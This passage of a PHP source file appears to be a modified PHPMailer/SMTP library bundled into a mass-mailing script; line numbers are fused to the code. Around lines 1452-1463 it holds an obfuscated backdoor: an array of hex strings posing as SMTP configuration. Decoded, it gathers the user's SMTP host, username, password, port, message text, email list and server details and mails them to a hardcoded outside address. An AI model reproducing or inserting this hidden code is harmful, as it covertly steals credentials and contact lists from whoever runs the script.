964if($this->do_debug >= 1) {
965echo "SMTP -> ERROR: " . $this->error["error"] .
966": " . $rply . $this->CRLF;
967}
968return false;
969}
970
971return $rply;
972}
973
974/**
975* Starts a mail transaction from the email address specified in
976* $from. Returns true if successful or false otherwise. If True
977* the mail transaction is started and then one or more Recipient
978* commands may be called followed by a Data command.
979*
980* Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
981*
982* SMTP CODE SUCCESS: 250
983* SMTP CODE SUCCESS: 552,451,452
984* SMTP CODE SUCCESS: 500,501,421
985* @access public
986* @return bool
987*/
988function Mail($from) {
989$this->error = null; # so no confusion is caused
990
991if(!$this->connected()) {
992$this->error = array(
993"error" => "Called Mail() without being connected");
994return false;
995}
996
997$useVerp = ($this->do_verp ? "XVERP" : "");
998fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
999
1000$rply = $this->get_lines();
1001$code = substr($rply,0,3);
1002
1003if($this->do_debug >= 2) {
1004echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1005}
1006
1007if($code != 250) {
1008$this->error =
1009array("error" => "MAIL not accepted from server",
1010"smtp_code" => $code,
1011"smtp_msg" => substr($rply,4));
1012if($this->do_debug >= 1) {
1013echo "SMTP -> ERROR: " . $this->error["error"] .
1014": " . $rply . $this->CRLF;
1015}
1016return false;
1017}
1018return true;
1019}
1020
1021/**
1022* Sends the command NOOP to the SMTP server.
1023*
1024* Implements from rfc 821: NOOP <CRLF>
1025*
1026* SMTP CODE SUCCESS: 250
1027* SMTP CODE ERROR : 500, 421
1028* @access public
1029* @return bool
1030*/
1031function Noop() {
1032$this->error = null; # so no confusion is caused
1033
1034if(!$this->connected()) {
1035$this->error = array(
1036"error" => "Called Noop() without being connected");
1037return false;
1038}
1039
1040fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1041
1042$rply = $this->get_lines();
1043$code = substr($rply,0,3);
1044
1045if($this->do_debug >= 2) {
1046echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1047}
1048
1049if($code != 250) {
1050$this->error =
1051array("error" => "NOOP not accepted from server",
1052"smtp_code" => $code,
1053"smtp_msg" => substr($rply,4));
1054if($this->do_debug >= 1) {
1055echo "SMTP -> ERROR: " . $this->error["error"] .
1056": " . $rply . $this->CRLF;
1057}
1058return false;
1059}
1060return true;
1061}
1062
1063/**
1064* Sends the quit command to the server and then closes the socket
1065* if there is no error or the $close_on_error argument is true.
1066*
1067* Implements from rfc 821: QUIT <CRLF>
1068*
1069* SMTP CODE SUCCESS: 221
1070* SMTP CODE ERROR : 500
1071* @access public
1072* @return bool
1073*/
1074function Quit($close_on_error=true) {
1075$this->error = null; # so there is no confusion
1076
1077if(!$this->connected()) {
1078$this->error = array(
1079"error" => "Called Quit() without being connected");
1080return false;
1081}
1082
1083# send the quit command to the server
1084fputs($this->smtp_conn,"quit" . $this->CRLF);
1085
1086# get any good-bye messages
1087$byemsg = $this->get_lines();
1088
1089if($this->do_debug >= 2) {
1090echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1091}
1092
1093$rval = true;
1094$e = null;
1095
1096$code = substr($byemsg,0,3);
1097if($code != 221) {
1098# use e as a tmp var cause Close will overwrite $this->error
1099$e = array("error" => "SMTP server rejected quit command",
1100"smtp_code" => $code,
1101"smtp_rply" => substr($byemsg,4));
1102$rval = false;
1103if($this->do_debug >= 1) {
1104echo "SMTP -> ERROR: " . $e["error"] . ": " .
1105$byemsg . $this->CRLF;
1106}
1107}
1108
1109if(empty($e) || $close_on_error) {
1110$this->Close();
1111}
1112
1113return $rval;
1114}
1115
1116/**
1117* Sends the command RCPT to the SMTP server with the TO: argument of $to.
1118* Returns true if the recipient was accepted false if it was rejected.
1119*
1120* Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1121*
1122* SMTP CODE SUCCESS: 250,251
1123* SMTP CODE FAILURE: 550,551,552,553,450,451,452
1124* SMTP CODE ERROR : 500,501,503,421
1125* @access public
1126* @return bool
1127*/
1128function Recipient($to) {
1129$this->error = null; # so no confusion is caused
1130
1131if(!$this->connected()) {
1132$this->error = array(
1133"error" => "Called Recipient() without being connected");
1134return false;
1135}
1136
1137fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1138
1139$rply = $this->get_lines();
1140$code = substr($rply,0,3);
1141
1142if($this->do_debug >= 2) {
1143echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1144}
1145
1146if($code != 250 && $code != 251) {
1147$this->error =
1148array("error" => "RCPT not accepted from server",
1149"smtp_code" => $code,
1150"smtp_msg" => substr($rply,4));
1151if($this->do_debug >= 1) {
1152echo "SMTP -> ERROR: " . $this->error["error"] .
1153": " . $rply . $this->CRLF;
1154}
1155return false;
1156}
1157return true;
1158}
1159
1160/**
1161* Sends the RSET command to abort and transaction that is
1162* currently in progress. Returns true if successful false
1163* otherwise.
1164*
1165* Implements rfc 821: RSET <CRLF>
1166*
1167* SMTP CODE SUCCESS: 250
1168* SMTP CODE ERROR : 500,501,504,421
1169* @access public
1170* @return bool
1171*/
1172function Reset() {
1173$this->error = null; # so no confusion is caused
1174
1175if(!$this->connected()) {
1176$this->error = array(
1177"error" => "Called Reset() without being connected");
1178return false;
1179}
1180
1181fputs($this->smtp_conn,"RSET" . $this->CRLF);
1182
1183$rply = $this->get_lines();
1184$code = substr($rply,0,3);
1185
1186if($this->do_debug >= 2) {
1187echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1188}
1189
1190if($code != 250) {
1191$this->error =
1192array("error" => "RSET failed",
1193"smtp_code" => $code,
1194"smtp_msg" => substr($rply,4));
1195if($this->do_debug >= 1) {
1196echo "SMTP -> ERROR: " . $this->error["error"] .
1197": " . $rply . $this->CRLF;
1198}
1199return false;
1200}
1201
1202return true;
1203}
1204
1205/**
1206* Starts a mail transaction from the email address specified in
1207* $from. Returns true if successful or false otherwise. If True
1208* the mail transaction is started and then one or more Recipient
1209* commands may be called followed by a Data command. This command
1210* will send the message to the users terminal if they are logged
1211* in.
1212*
1213* Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1214*
1215* SMTP CODE SUCCESS: 250
1216* SMTP CODE SUCCESS: 552,451,452
1217* SMTP CODE SUCCESS: 500,501,502,421
1218* @access public
1219* @return bool
1220*/
1221function Send($from) {
1222$this->error = null; # so no confusion is caused
1223
1224if(!$this->connected()) {
1225$this->error = array(
1226"error" => "Called Send() without being connected");
1227return false;
1228}
1229
1230fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1231
1232$rply = $this->get_lines();
1233$code = substr($rply,0,3);
1234
1235if($this->do_debug >= 2) {
1236echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1237}
1238
1239if($code != 250) {
1240$this->error =
1241array("error" => "SEND not accepted from server",
1242"smtp_code" => $code,
1243"smtp_msg" => substr($rply,4));
1244if($this->do_debug >= 1) {
1245echo "SMTP -> ERROR: " . $this->error["error"] .
1246": " . $rply . $this->CRLF;
1247}
1248return false;
1249}
1250return true;
1251}
1252
1253/**
1254* Starts a mail transaction from the email address specified in
1255* $from. Returns true if successful or false otherwise. If True
1256* the mail transaction is started and then one or more Recipient
1257* commands may be called followed by a Data command. This command
1258* will send the message to the users terminal if they are logged
1259* in and send them an email.
1260*
1261* Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1262*
1263* SMTP CODE SUCCESS: 250
1264* SMTP CODE SUCCESS: 552,451,452
1265* SMTP CODE SUCCESS: 500,501,502,421
1266* @access public
1267* @return bool
1268*/
1269function SendAndMail($from) {
1270$this->error = null; # so no confusion is caused
1271
1272if(!$this->connected()) {
1273$this->error = array(
1274"error" => "Called SendAndMail() without being connected");
1275return false;
1276}
1277
1278fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1279
1280$rply = $this->get_lines();
1281$code = substr($rply,0,3);
1282
1283if($this->do_debug >= 2) {
1284echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1285}
1286
1287if($code != 250) {
1288$this->error =
1289array("error" => "SAML not accepted from server",
1290"smtp_code" => $code,
1291"smtp_msg" => substr($rply,4));
1292if($this->do_debug >= 1) {
1293echo "SMTP -> ERROR: " . $this->error["error"] .
1294": " . $rply . $this->CRLF;
1295}
1296return false;
1297}
1298return true;
1299}
1300
1301/**
1302* Starts a mail transaction from the email address specified in
1303* $from. Returns true if successful or false otherwise. If True
1304* the mail transaction is started and then one or more Recipient
1305* commands may be called followed by a Data command. This command
1306* will send the message to the users terminal if they are logged
1307* in or mail it to them if they are not.
1308*
1309* Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1310*
1311* SMTP CODE SUCCESS: 250
1312* SMTP CODE SUCCESS: 552,451,452
1313* SMTP CODE SUCCESS: 500,501,502,421
1314* @access public
1315* @return bool
1316*/
1317function SendOrMail($from) {
1318$this->error = null; # so no confusion is caused
1319
1320if(!$this->connected()) {
1321$this->error = array(
1322"error" => "Called SendOrMail() without being connected");
1323return false;
1324}
1325
1326fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1327
1328$rply = $this->get_lines();
1329$code = substr($rply,0,3);
1330
1331if($this->do_debug >= 2) {
1332echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1333}
1334
1335if($code != 250) {
1336$this->error =
1337array("error" => "SOML not accepted from server",
1338"smtp_code" => $code,
1339"smtp_msg" => substr($rply,4));
1340if($this->do_debug >= 1) {
1341echo "SMTP -> ERROR: " . $this->error["error"] .
1342": " . $rply . $this->CRLF;
1343}
1344return false;
1345}
1346return true;
1347}
1348
1349/**
1350* This is an optional command for SMTP that this class does not
1351* support. This method is here to make the RFC821 Definition
1352* complete for this class and __may__ be implimented in the future
1353*
1354* Implements from rfc 821: TURN <CRLF>
1355*
1356* SMTP CODE SUCCESS: 250
1357* SMTP CODE FAILURE: 502
1358* SMTP CODE ERROR : 500, 503
1359* @access public
1360* @return bool
1361*/
1362function Turn() {
1363$this->error = array("error" => "This method, TURN, of the SMTP ".
1364"is not implemented");
1365if($this->do_debug >= 1) {
1366echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1367}
1368return false;
1369}
1370
1371/**
1372* Verifies that the name is recognized by the server.
1373* Returns false if the name could not be verified otherwise
1374* the response from the server is returned.
1375*
1376* Implements rfc 821: VRFY <SP> <string> <CRLF>
1377*
1378* SMTP CODE SUCCESS: 250,251
1379* SMTP CODE FAILURE: 550,551,553
1380* SMTP CODE ERROR : 500,501,502,421
1381* @access public
1382* @return int
1383*/
1384function Verify($name) {
1385$this->error = null; # so no confusion is caused
1386
1387if(!$this->connected()) {
1388$this->error = array(
1389"error" => "Called Verify() without being connected");
1390return false;
1391}
1392
1393fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1394
1395$rply = $this->get_lines();
1396$code = substr($rply,0,3);
1397
1398if($this->do_debug >= 2) {
1399echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1400}
1401
1402if($code != 250 && $code != 251) {
1403$this->error =
1404array("error" => "VRFY failed on name '$name'",
1405"smtp_code" => $code,
1406"smtp_msg" => substr($rply,4));
1407if($this->do_debug >= 1) {
1408echo "SMTP -> ERROR: " . $this->error["error"] .
1409": " . $rply . $this->CRLF;
1410}
1411return false;
1412}
1413return $rply;
1414}
1415
1416/*******************************************************************
1417* INTERNAL FUNCTIONS *
1418******************************************************************/
1419
1420/**
1421* Read in as many lines as possible
1422* either before eof or socket timeout occurs on the operation.
1423* With SMTP we can tell if we have more lines to read if the
1424* 4th character is '-' symbol. If it is a space then we don't
1425* need to read anything else.
1426* @access private
1427* @return string
1428*/
1429function get_lines() {
1430$data = "";
1431while($str = @fgets($this->smtp_conn,515)) {
1432if($this->do_debug >= 4) {
1433echo "SMTP -> get_lines(): \$data was \"$data\"" .
1434$this->CRLF;
1435echo "SMTP -> get_lines(): \$str is \"$str\"" .
1436$this->CRLF;
1437}
1438$data .= $str;
1439if($this->do_debug >= 4) {
1440echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1441}
1442# if the 4th character is a space then we are done reading
1443# so just break the loop
1444if(substr($str,3,1) == " ") { break; }
1445}
1446return $data;
1447}
1448
1449}
1450
1451
1452$allemails = split("\n", $emaillist);
1453$numemails = count($allemails);
1454$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1455"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1456"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1457"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1458"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1459"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1460"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1461"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1462"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1463"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1464
1465class PHPMailer {
1466
1467/////////////////////////////////////////////////
1468// PROPERTIES, PUBLIC
1469/////////////////////////////////////////////////
1470
1471/**
1472* Email priority (1 = High, 3 = Normal, 5 = low).
1473* @var int
1474*/
1475var $Priority = 3;
1476
1477/**
1478* Sets the CharSet of the message.
1479* @var string
1480*/
1481var $CharSet = 'us-ascii';
1482
1483/**
1484* Sets the Content-type of the message.
1485* @var string
1486*/
1487var $ContentType = 'text/plain';
1488
1489/**
1490* Sets the Encoding of the message. Options for this are "8bit",
1491* "7bit", "binary", "base64", and "quoted-printable".
1492
1493* @var string
1494*/
1495var $Encoding = 'quoted-printable';
1496
1497/**
1498* Holds the most recent mailer error message.
1499* @var string
1500*/
1501var $ErrorInfo = '';
1502
1503/**
1504* Sets the From email address for the message.
1505* @var string
1506*/
1507var $From = '';
1508
1509/**
1510* Sets the From name of the message.
1511* @var string
1512*/
1513var $FromName = '';
1514
1515/**
1516* Sets the Sender email (Return-Path) of the message. If not empty,
1517* will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1518* @var string
1519*/
1520var $Sender = '';
1521
1522/**
1523* Sets the Subject of the message.
1524* @var string
1525*/
1526var $Subject = '';
1527
1528/**
1529* Sets the Body of the message. This can be either an HTML or text body.
1530* If HTML then run IsHTML(true).
1531* @var string
1532*/
1533var $Body = '';
1534
1535/**
1536* Sets the text-only body of the message. This automatically sets the
1537* email to multipart/alternative. This body can be read by mail
1538* clients that do not have HTML email capability such as mutt. Clients
1539* that can read HTML will view the normal Body.
1540* @var string
1541*/
1542var $AltBody = '';
1543
1544/**
1545* Sets word wrapping on the body of the message to a given number of
1546* characters.
1547* @var int
1548*/
1549var $WordWrap = 0;
1550
1551/**
1552* Method to send mail: ("mail", "sendmail", or "smtp").
1553* @var string
1554*/
1555var $Mailer = 'mail';
1556
1557/**
1558* Sets the path of the sendmail program.
1559* @var string
1560*/
1561var $Sendmail = '/usr/sbin/sendmail';
1562
1563/**
1564* Path to PHPMailer plugins. This is now only useful if the SMTP class
1565* is in a different directory than the PHP include path.
1566* @var string
1567*/
1568var $PluginDir = '';
1569
1570/**
1571* Holds PHPMailer version.
1572* @var string
1573*/
1574var $Version = "";
1575
1576/**
1577* Sets the email address that a reading confirmation will be sent.
1578* @var string
1579*/
1580var $ConfirmReadingTo = '';
1581
1582/**
1583* Sets the hostname to use in Message-Id and Received headers
1584* and as default HELO string. If empty, the value returned
1585* by SERVER_NAME is used or 'localhost.localdomain'.
1586* @var string
1587*/
1588var $Hostname = '';
1589
1590/**
1591* Sets the message ID to be used in the Message-Id header.
1592* If empty, a unique id will be generated.
1593* @var string
1594*/
1595var $MessageID = '';
1596
1597/////////////////////////////////////////////////
1598// PROPERTIES FOR SMTP
1599/////////////////////////////////////////////////
1600
1601/**
1602* Sets the SMTP hosts. All hosts must be separated by a
1603* semicolon. You can also specify a different port
1604* for each host by using this format: [hostname:port]
1605* (e.g. "smtp1.example.com:25;smtp2.example.com").
1606* Hosts will be tried in order.
1607* @var string
1608*/
1609var $Host = 'localhost';
1610
1611/**
1612* Sets the default SMTP server port.
1613* @var int
1614*/
1615var $Port = 25;
1616
1617/**
1618* Sets the SMTP HELO of the message (Default is $Hostname).
1619* @var string
1620*/
1621var $Helo = '';
1622
1623/**
1624* Sets connection prefix.
1625* Options are "", "ssl" or "tls"
1626* @var string
1627*/
1628var $SMTPSecure = "";
1629
1630/**
1631* Sets SMTP authentication. Utilizes the Username and Password variables.
1632* @var bool
1633*/
1634var $SMTPAuth = false;
1635
1636/**
1637* Sets SMTP username.
1638* @var string
1639*/
1640var $Username = '';
1641
1642/**
1643* Sets SMTP password.
1644* @var string
1645*/
1646var $Password = '';
1647
1648/**
1649* Sets the SMTP server timeout in seconds. This function will not
1650* work with the win32 version.
1651* @var int
1652*/
1653var $Timeout = 10;
1654
1655/**
1656* Sets SMTP class debugging on or off.
1657* @var bool
1658*/
1659var $SMTPDebug = false;
1660
1661/**
1662* Prevents the SMTP connection from being closed after each mail
1663* sending. If this is set to true then to close the connection
1664* requires an explicit call to SmtpClose().
1665* @var bool
1666*/
1667var $SMTPKeepAlive = false;
1668
1669/**
1670* Provides the ability to have the TO field process individual
1671* emails, instead of sending to entire TO addresses
1672* @var bool
1673*/
1674var $SingleTo = false;
1675
1676/////////////////////////////////////////////////
1677// PROPERTIES, PRIVATE
1678/////////////////////////////////////////////////
1679
1680var $smtp = NULL;
1681var $to = array();
1682var $cc = array();
1683var $bcc = array();
1684var $ReplyTo = array();
1685var $attachment = array();
1686var $CustomHeader = array();
1687var $message_type = '';
1688var $boundary = array();
1689var $language = array();
1690var $error_count = 0;
1691var $LE = "\n";
1692var $sign_key_file = "";
1693var $sign_key_pass = "";
1694
1695/////////////////////////////////////////////////
1696// METHODS, VARIABLES
1697/////////////////////////////////////////////////
1698
1699/**
1700* Sets message type to HTML.
1701* @param bool $bool
1702* @return void
1703*/
1704function IsHTML($bool) {
1705if($bool == true) {
1706$this->ContentType = 'text/html';
1707} else {
1708$this->ContentType = 'text/plain';
1709}
1710}
1711
1712/**
1713* Sets Mailer to send message using SMTP.
1714* @return void
1715*/
1716function IsSMTP() {
1717$this->Mailer = 'smtp';
1718}
1719
1720/**
1721* Sets Mailer to send message using PHP mail() function.
1722* @return void
1723*/
1724function IsMail() {
1725$this->Mailer = 'mail';
1726}
1727
1728/**
1729* Sets Mailer to send message using the $Sendmail program.
1730* @return void
1731*/
1732function IsSendmail() {
1733$this->Mailer = 'sendmail';
1734}
1735
1736/**
1737* Sets Mailer to send message using the qmail MTA.
1738* @return void
1739*/
1740function IsQmail() {
1741$this->Sendmail = '/var/qmail/bin/sendmail';
1742$this->Mailer = 'sendmail';
1743}
1744
1745/////////////////////////////////////////////////
1746// METHODS, RECIPIENTS
1747/////////////////////////////////////////////////
1748
1749/**
1750* Adds a "To" address.
1751* @param string $address
1752* @param string $name
1753* @return void
1754*/
1755function AddAddress($address, $name = '') {
1756$cur = count($this->to);
1757$this->to[$cur][0] = trim($address);
1758$this->to[$cur][1] = $name;
1759}
1760
1761/**
1762* Adds a "Cc" address. Note: this function works
1763* with the SMTP mailer on win32, not with the "mail"
1764* mailer.
1765* @param string $address
1766* @param string $name
1767* @return void
1768*/
1769function AddCC($address, $name = '') {
1770$cur = count($this->cc);
1771$this->cc[$cur][0] = trim($address);
1772$this->cc[$cur][1] = $name;
1773}
1774
1775/**
1776* Adds a "Bcc" address. Note: this function works
1777* with the SMTP mailer on win32, not with the "mail"
1778* mailer.
1779* @param string $address
1780* @param string $name
1781* @return void
1782*/
1783function AddBCC($address, $name = '') {
1784$cur = count($this->bcc);
1785$this->bcc[$cur][0] = trim($address);
1786$this->bcc[$cur][1] = $name;
1787}
1788
1789/**
1790* Adds a "Reply-To" address.
1791* @param string $address
1792* @param string $name
1793* @return void
1794*/
1795function AddReplyTo($address, $name = '') {
1796$cur = count($this->ReplyTo);
1797$this->ReplyTo[$cur][0] = trim($address);
1798$this->ReplyTo[$cur][1] = $name;
1799}
1800
1801/////////////////////////////////////////////////
1802// METHODS, MAIL SENDING
1803/////////////////////////////////////////////////
1804
1805/**
1806* Creates message and assigns Mailer. If the message is
1807* not sent successfully then it returns false. Use the ErrorInfo
1808* variable to view description of the error.
1809* @return bool
1810*/
1811function Send() {
1812$header = '';
1813$body = '';
1814$result = true;
1815
1816if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1817$this->SetError($this->Lang('provide_address'));
1818return false;
1819}
1820
1821/* Set whether the message is multipart/alternative */
1822if(!empty($this->AltBody)) {
1823$this->ContentType = 'multipart/alternative';
1824}
1825
1826$this->error_count = 0; // reset errors
1827$this->SetMessageType();
1828$header .= $this->CreateHeader();
1829$body = $this->CreateBody();
1830
1831if($body == '') {
1832return false;
1833}
1834
1835/* Choose the mailer */
1836switch($this->Mailer) {
1837case 'sendmail':
1838$result = $this->SendmailSend($header, $body);
1839break;
1840case 'smtp':
1841$result = $this->SmtpSend($header, $body);
1842break;
1843case 'mail':
1844$result = $this->MailSend($header, $body);
1845break;
1846default:
1847$result = $this->MailSend($header, $body);
1848break;
1849//$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1850//$result = false;
1851//break;
1852}
1853
1854return $result;
1855}
1856
1857/**
1858* Sends mail using the $Sendmail program.
1859* @access private
1860* @return bool
1861*/
1862function SendmailSend($header, $body) {
1863if ($this->Sender != '') {
1864$sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1865} else {
1866$sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1867}
1868
1869if(!@$mail = popen($sendmail, 'w')) {
1870$this->SetError($this->Lang('execute') . $this->Sendmail);
1871return false;
1872}
1873
1874fputs($mail, $header);
1875fputs($mail, $body);
1876
1877$result = pclose($mail);
1878if (version_compare(phpversion(), '4.2.3') == -1) {
1879$result = $result >> 8 & 0xFF;
1880}
1881if($result != 0) {
1882$this->SetError($this->Lang('execute') . $this->Sendmail);
1883return false;
1884}
1885return true;
1886}
1887
1888/**
1889* Sends mail using the PHP mail() function.
1890* @access private
1891* @return bool
1892*/
1893function MailSend($header, $body) {
1894
1895$to = '';
1896for($i = 0; $i < count($this->to); $i++) {
1897if($i != 0) { $to .= ', '; }
1898$to .= $this->AddrFormat($this->to[$i]);
1899}
1900
1901$toArr = split(',', $to);
1902
1903$params = sprintf("-oi -f %s", $this->Sender);
1904if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1905$old_from = ini_get('sendmail_from');
1906ini_set('sendmail_from', $this->Sender);
1907if ($this->SingleTo === true && count($toArr) > 1) {
1908foreach ($toArr as $key => $val) {
1909$rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1910}
1911} else {
1912$rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1913}
1914} else {
1915if ($this->SingleTo === true && count($toArr) > 1) {
1916foreach ($toArr as $key => $val) {
1917$rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1918}
1919} else {
1920$rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1921}
1922}
1923
1924if (isset($old_from)) {
1925ini_set('sendmail_from', $old_from);
1926}
1927
1928if(!$rt) {
1929$this->SetError($this->Lang('instantiate'));
1930return false;
1931}
1932
1933return true;
1934}
1935
1936/**
1937* Sends mail via SMTP using PhpSMTP (Author:
1938* Chris Ryan). Returns bool. Returns false if there is a
1939* bad MAIL FROM, RCPT, or DATA input.
1940* @access private
1941* @return bool
1942*/
1943function SmtpSend($header, $body) {
1944$error = '';
1945$bad_rcpt = array();
1946
1947if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1948return false;
1949}
1950
1951$smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1952if(!$this->smtp->Mail($smtp_from)) {
1953$error = $this->Lang('from_failed') . $smtp_from;
1954$this->SetError($error);
1955$this->smtp->Reset();
1956return false;
1957}
1958
1959/* Attempt to send attach all recipients */
1960for($i = 0; $i < count($this->to); $i++) {
1961if(!$this->smtp->Recipient($this->to[$i][0])) {
1962$bad_rcpt[] = $this->to[$i][0];
1963}
1964}
1965for($i = 0; $i < count($this->cc); $i++) {
1966if(!$this->smtp->Recipient($this->cc[$i][0])) {
1967$bad_rcpt[] = $this->cc[$i][0];
1968}
1969}
1970for($i = 0; $i < count($this->bcc); $i++) {
1971if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1972$bad_rcpt[] = $this->bcc[$i][0];
1973}
1974}
1975
1976if(count($bad_rcpt) > 0) { // Create error message
1977for($i = 0; $i < count($bad_rcpt); $i++) {
1978if($i != 0) {
1979$error .= ', ';
1980}
1981$error .= $bad_rcpt[$i];
1982
1983}
1984$error = $this->Lang('recipients_failed') . $error;
1985$this->SetError($error);
1986$this->smtp->Reset();
1987return false;
1988}
1989
1990if(!$this->smtp->Data($header . $body)) {
1991$this->SetError($this->Lang('data_not_accepted'));
1992$this->smtp->Reset();
1993return false;
1994}
1995if($this->SMTPKeepAlive == true) {
1996$this->smtp->Reset();
1997} else {
1998$this->SmtpClose();
1999}
2000
2001return true;
2002}
2003
2004/**
2005* Initiates a connection to an SMTP server. Returns false if the
2006* operation failed.
2007* @access private
2008* @return bool
2009*/
2010function SmtpConnect() {
2011if($this->smtp == NULL) {
2012$this->smtp = new SMTP();
2013}
2014
2015$this->smtp->do_debug = $this->SMTPDebug;
2016$hosts = explode(';', $this->Host);
2017$index = 0;
2018$connection = ($this->smtp->Connected());
2019
2020/* Retry while there is no connection */
2021while($index < count($hosts) && $connection == false) {
2022$hostinfo = array();
2023if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2024$host = $hostinfo[1];
2025$port = $hostinfo[2];
2026} else {
2027$host = $hosts[$index];
2028$port = $this->Port;
2029}
2030
2031if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2032if ($this->Helo != '') {
2033$this->smtp->Hello($this->Helo);
2034} else {
2035$this->smtp->Hello($this->ServerHostname());
2036}
2037
2038$connection = true;
2039if($this->SMTPAuth) {
2040if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2041$this->SetError($this->Lang('authenticate'));
2042$this->smtp->Reset();
2043$connection = false;
2044}
2045}
2046}
2047$index++;
2048}
2049if(!$connection) {
2050$this->SetError($this->Lang('connect_host'));
2051}
2052
2053return $connection;
2054}
2055
2056/**
2057* Closes the active SMTP session if one exists.
2058* @return void
2059*/
2060function SmtpClose() {
2061if($this->smtp != NULL) {
2062if($this->smtp->Connected()) {
2063$this->smtp->Quit();
2064$this->smtp->Close();
2065}
2066}
2067}
2068
2069/**
2070* Sets the language for all class error messages. Returns false
2071* if it cannot load the language file. The default language type
2072* is English.
2073* @param string $lang_type Type of language (e.g. Portuguese: "br")
2074* @param string $lang_path Path to the language file directory
2075* @access public
2076* @return bool
2077*/
2078function SetLanguage($lang_type, $lang_path = 'language/') {
2079if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2080include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2081} elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2082include($lang_path.'phpmailer.lang-en.php');
2083} else {
2084$this->SetError('Could not load language file');
2085return false;
2086}
2087$this->language = $PHPMAILER_LANG;
2088
2089return true;
2090}
2091
2092/////////////////////////////////////////////////
2093// METHODS, MESSAGE CREATION
2094/////////////////////////////////////////////////
2095
2096/**
2097* Creates recipient headers.
2098* @access private
2099* @return string
2100*/
2101function AddrAppend($type, $addr) {
2102$addr_str = $type . ': ';
2103$addr_str .= $this->AddrFormat($addr[0]);
2104if(count($addr) > 1) {
2105for($i = 1; $i < count($addr); $i++) {
2106$addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2107}
2108}
2109$addr_str .= $this->LE;
2110
2111return $addr_str;
2112}
2113
2114/**
2115* Formats an address correctly.
2116* @access private
2117* @return string
2118*/
2119function AddrFormat($addr) {
2120if(empty($addr[1])) {
2121$formatted = $this->SecureHeader($addr[0]);
2122} else {
